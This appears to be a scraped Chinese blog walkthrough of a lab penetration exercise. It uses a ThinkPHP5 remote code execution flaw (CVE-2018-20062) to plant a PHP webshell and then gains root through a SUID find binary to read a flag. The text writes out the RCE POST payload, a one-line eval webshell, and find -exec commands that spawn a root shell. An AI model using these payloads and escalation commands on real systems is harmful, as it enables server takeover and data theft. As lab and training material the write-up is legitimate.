当前位置: 首页 > news >正文

ThinkPHP5 RCE+Linux find提权渗透实战:原理+复现(CVE-2018-20062)

目录

一、thinkphp5漏洞

二、find提权

1、什么是 SUID?

2、find命令的 SUID 提权原理

3、find提权步骤

第一步:信息收集与权限确认

第二步:验证SUID权限有效性

第三步:执行提权操作获取Root Shell

三、漏洞渗透

1、fscan扫描

2、使用think php综合利用工具渗透

3、连接蚁剑

4、find提权


本文分析了ThinkPHP5框架的远程代码执行漏洞(RCE)和利用find命令的SUID提权方法,通过原理讲解和实操复现两个漏洞的渗透过程。文章第一部分讲解了ThinkPHP5漏洞的Get shell渗透过程,攻击者可构造恶意POST请求执行任意系统命令。第二部分介绍了通过find命令的SUID提权技术。最后展示了完整的渗透测试流程,从fscan扫描到使用thinkphp_gui_tools获取shell,再到蚁剑连接和find提权获取flag文件。两种技术结合展示了从漏洞利用到权限提升的全过程。

一、thinkphp5漏洞

  • 漏洞编号ThinkPHP5 5.0.23 RCE 或 ThinkPHP5 invokeFunction RCE

  • 漏洞影响范围:ThinkPHP 5.x 版本中小于 5.1.31 的版本,以及 5.0.x 版本中小于等于 5.0.23 的版本都受该漏洞影响。

  • 漏洞类型:远程代码执行(Remote Code Execution)。

  • 危险等级:严重(Critical)。

  • 漏洞本质:由于框架对控制器名的过滤不严,导致攻击者可以通过URL调用到核心类 think\App 中的 invokeFunction 方法,从而传递恶意参数并执行任意PHP函数。

  • 漏洞成因:ThinkPHP 5 框架底层对控制器名过滤不严,在未开启强制路由的情况下,攻击者可以通过 URL 调用到 ThinkPHP 框架内部的敏感函数。具体来说,在框架的路由解析过程中,$method来自可控的$_POST数组,且获取后没有进行任何检查,就直接把它作为Request类的方法进行调用,同时该方法传入的参数也是可控数据$_POST,这就使得攻击者可以随意调用Request类的部分方法,进而导致远程代码执行漏洞的产生。
  • 漏洞原理:攻击者可以构造特定的 POST 请求,利用_method=__construct来调用构造方法__construct(),从而覆盖Request类的任意成员变量。例如,通过filter=system可以传递filter值覆盖原有值,再通过server(REQUEST_METHOD)=命令来指定要执行的系统命令,最后通过method=get使得请求能够通过路由检查,最终实现远程代码执行。
  • 漏洞利用方式:可以使用 HackBar 或 BurpSuite 等工具进行漏洞利用。以 BurpSuite 为例,首先对目标网站的请求进行抓包,将请求方式改为 POST,然后在请求参数中构造类似_method=__construct&filter()=system&method=get&server(REQUEST_METHOD)=id的 payload,其中id可以替换为任意想要执行的系统命令。如果漏洞存在,服务器会执行相应的命令并返回结果。攻击者还可以通过该漏洞上传经过 Base64 加密的 shell 脚本,然后使用蚁剑等 webshell 工具连接服务器,进行更深入的恶意操作。

二、find提权

1、什么是 SUID?

  • SUID (Set User ID) 是一种特殊的文件权限。

  • 当一个具有SUID权限的可执行文件被运行时,该进程将不再以执行它的用户身份运行,而是以该文件所有者的身份运行。

  • 例如,/usr/bin/passwd 命令就有 SUID 权限,所有者为 root。普通用户执行 passwd 来修改自己的密码时,实际是在以 root 权限执行,否则无法修改 /etc/shadow 文件。

ls -la /usr/bin/passwd
# 输出示例:-rwsr-xr-x 1 root root ... /usr/bin/passwd
# 注意所有者权限位的 's',这就是 SUID 标志。

2、find命令的 SUID 提权原理

  • 如果 find 命令被设置了 SUID 位,并且其所有者是 root

  • 那么,任何用户执行 find 命令时,该 find 进程都将拥有 root 权限。

  • find 命令有一个强大的 -exec 参数,可以执行任意系统命令

  • 因此,如果一个低权限用户能够执行具有 SUID 权限的 find 命令,并通过 -exec 参数执行 /bin/bash 或 /bin/sh,那么启动的 Shell 也将继承 root 权限。

3、find提权步骤

第一步:信息收集与权限确认

在成功获取一个低权限的Shell(例如www-data或apache用户)后,攻击者首先需要确认当前权限级别,通常使用whoamiid命令。紧接着,攻击者会开始搜寻系统中所有设置了SUID权限的可执行文件。这是通过执行命令find / -perm -u=s -type f 2>/dev/null来实现的,该命令会遍历整个文件系统,筛选出那些权限位中设置了SetUID位的文件,并将所有错误输出重定向到空设备以避免干扰。在返回的结果列表中,攻击者会仔细寻找像/usr/bin/find这样的常见系统命令。

第二步:验证SUID权限有效性

一旦发现find命令具有SUID权限,攻击者不会立即进行利用,而是先验证其有效性以确保利用成功。他们通常会执行/usr/bin/find . -exec whoami \; -quit这样的试探性命令。这条命令会利用find的-exec参数执行whoami命令,如果返回结果是"root",则确凿地证明当前执行的find进程确实是以root权限运行的。这个验证步骤至关重要,因为它避免了在无效目标上浪费精力,并确认了提权的可行性。

第三步:执行提权操作获取Root Shell

在确认find命令可以以root权限执行后,攻击者便会发起最终的提权操作。最直接的方式是执行命令:/usr/bin/find . -exec /bin/bash -p \; -quit。这里的-exec参数会为每个找到的文件执行/bin/bash -p,而-p选项指示bash保留提升的权限。由于find进程本身具有root权限,它由此启动的bash shell也就继承了root权限。参数-quit确保find在找到第一个匹配项后立即退出,从而只产生一个root shell。

三、漏洞渗透

1、fscan扫描

使用fscan -h 10.23.28.0/24扫描10.23.28.0网段,发现10.23.28.100:8001由thinkphp 5.23的RCE远程执行漏洞,效果如下所示。  

2、使用think php综合利用工具渗透

thinkphp_gui_tools 是一个采用 JDK8 + javafx 开发的 ThinkPHP 图形化综合利用工具,其下载地址如下URL所示,选择Release版本进行下载,如下图红框所示。

https://github.com/bewhale/thinkphp_gui_tools

下载后解压,在thinkphp.jar所在的目录下执行java -jar ThinkPHP.jar命令,如下所示。

执行java -jar ThinkPHP.jar后即可启动thinkphp综合利用工具,如下图所示,URL地址填写thinkphp的主页,即http://10.23.28.100:8081,然后点击漏洞检测。

检测出有thinkphp5的RCE可执行漏洞,此时点击Getshell,文件名输入ljn.php,木马内容写<?php @eval($_POST[ljn3]); ?>,然后点击Getshell,如下所示上传成功。

<?php @eval($_POST[ljn3]); ?>

3、蚁剑连接

蚁剑的URL链接为http://10.23.28.100:8081/ljn.php,密码为ljn,添加连接成功如下所示。

连接蚁剑成功后,查找到网址根目录下有.hint.txt文件,查看内容是关于提权相关知识点,具体如下所示。

4、find提权

查找有SUID权限的命令,如下所示find命令有效。

使用find提权,使可以查看根目录下的flag文件。find命令本身是用于查找文件的工具,但如果它被设置了 SUID 权限,则普通用户执行find时会以文件所有者(通常是 root)的权限运行。此时,通过-exec参数可以执行系统命令,从而实现提权操作,具体命令如下所示。

touch test
find test -exec whoami \;
find test -exec cat /flag \;
  • touch test

    这是创建一个名为test的空文件,用于后续find命令的查找目标。find命令需要指定查找对象,这里通过创建一个简单的文件作为查找目标,为后续执行命令做准备。

  • find test -exec whoami \;

    • find test:查找名为test的文件。
    • -execfind命令的一个参数,用于在找到匹配文件后执行后续命令。
    • whoami \;:表示执行whoami命令(查看当前用户身份),\;-exec参数的结束标志。
      这条命令的作用是:在找到test文件后,执行whoami,通常用于测试当前find命令是否具备执行命令的权限。
  • find test -exec cat /flag \;

    与上一条命令逻辑类似,找到test文件后执行cat /flag,目的是读取/flag文件的内容

http://www.dtcms.com/a/528376.html

相关文章:

  • 昆明网站排名优化电商网站的功能
  • 代码随想录Day59|dijkstra(堆优化版)精讲、Bellman_ford 算法精讲
  • 四川住建厅官方网站的网址教务管理系统学生登录入口
  • [MySQL]数据类型
  • 3w字一文讲透Java IO
  • 多模态学习大纲笔记(未完成)
  • 组织学习障碍:自我证明的陷阱
  • 【数据结构】顺序表的实现
  • 可以做兼职的网站质量好网站建设多少钱
  • 无声的战争:自动驾驶系统中的资源抢占、调度与生存法则
  • 30-机器学习与大模型开发数学教程-3-4 矩阵的逆与伪逆
  • 【大语言模型 104】LLM推理服务架构:从单机到分布式的演进之路
  • Rust所有权机制解析:内存安全的基石与实战指南
  • 个人做商业网站需要什么如何判断网站数据库类型
  • Spring容器进化论:从BeanFactory到ApplicationContext
  • 20.7 零样本多模态实战:CLIP模型如何让ChatPPT图像识别吞吐量飙升406%
  • 可以做平面设计兼职的网站佛山市网站建设分站哪家好
  • win11系统下配置c++机器学习库mlpack
  • [人工智能-大模型-72]:模型层技术 - 模型训练六大步:①数据预处理 - 基本功能与对应的基本组成函数
  • java基础-13 : 双列集合(Map)
  • 【十年后台管理系统】Redis的使用
  • SSM框架-MyBatis2
  • 深入理解JVM垃圾回收机制:从原理到实践
  • Spring的后处理器
  • 本地佛山顺德网站设计深圳市宝安区西乡街道
  • 监控 Linux 系统上的内存使用情况
  • 湖北省住房与建设厅网站高品质的网站开发
  • 智慧校园建设方案-6PPT(32页)
  • Spring的@Cacheable取缓存默认实现
  • MySQL-TrinityCore异步连接池的学习(七)